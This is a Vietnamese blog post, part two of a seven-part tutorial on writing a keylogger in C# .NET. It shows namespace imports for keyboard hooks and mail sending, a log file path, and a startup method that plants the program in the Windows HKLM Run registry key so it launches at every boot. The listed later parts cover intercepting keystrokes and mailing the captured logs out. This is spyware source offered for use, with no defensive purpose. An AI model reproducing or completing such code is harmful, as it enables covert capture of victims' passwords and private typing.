Thứ Ba, 2 tháng 2, 2010

// // Leave a Comment

Key Logger C# .NET - Running the Key Logger

Khởi chạy Keylogger cùng với hệ thống

Bạn có thể xoá mọi thứ trong Program.cs.
Và khai báo một số Namespace cần thiết cho ứng dụng
Hãy dán đoạn mã sau vào trong Program.cs:
using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;

Chúng ta cần System.Timers cho các bộ đếm thời gian(timer) - khi gửi mail, System.Windows.Forms
và System.Runtime.InteropServies cho việc gọi các phương thức sẵn có (API) cho các keystrokes,

System.IO cho việc ghi văn bản ra file tệp, System.Net.Mail để tạo ra mail cho chúng ta và

Microsoft.Win32 cho việc ghi các khoá đăng ký trong registry.

Tôi sẽ khai báo một lớp có tên appstart đây là nơi chứa phương thức ghi trong registry (để chúng ta có thể chạy được ứng dụng khi khởi động) và một phương thức cho việc tạo và gửi mail.
Dưới đây, tôi khai báo biến string "path" trỏ tới file nơi mà các mã bàn phím sẽ được ghi tới, các biến "caps" và "shift" cho chúng ta biết khi capslock hoặc shift được bật và 1 biến "fail" (chúng ta sẽ cần tất cả chúng cho sau này trong chương trình).
namespace Keylogger
{
   class appstart
   {
       public static string path = "C:/file.txt";
       public static byte caps = 0, shift = 0, failed = 0;

Đây là phương thức "startup()". Tôi đã sử dụng biến rkApp để đặt chương trình vào khoá HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft…..\Run. Đây là nơi mà các chương trình được khởi động. Nếu tên chương trình của chúng ta không có trong này, thì ta cần phải tạo cho nó một khoá bằng phương thức: rkApp.SetValue(...);
public static void startup()
{
   //Regedit --> Startup objects
   RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

   if (rkApp.GetValue("Keylogger") == null)
   {   
       rkApp.SetValue("Keylogger",Application.ExecutablePath.ToString());
   }
   
   rkApp.Close();//dispose of the key
}

Bây giờ, khi nó được khởi chạy và sẽ gọi tới phương thức trên để kiểm tra việc khởi động cùng Windows.
Lưu ý: UAC

Phần 1: Creating the Project
Phần 2: Running the Key Logger
Phần 3: Got Mail
Phần 4: Intercepting Keystrokes
Phần 5: The HookCallback Method
Phần 6: API Methods
Phần 7: Possible Errors

0 comments: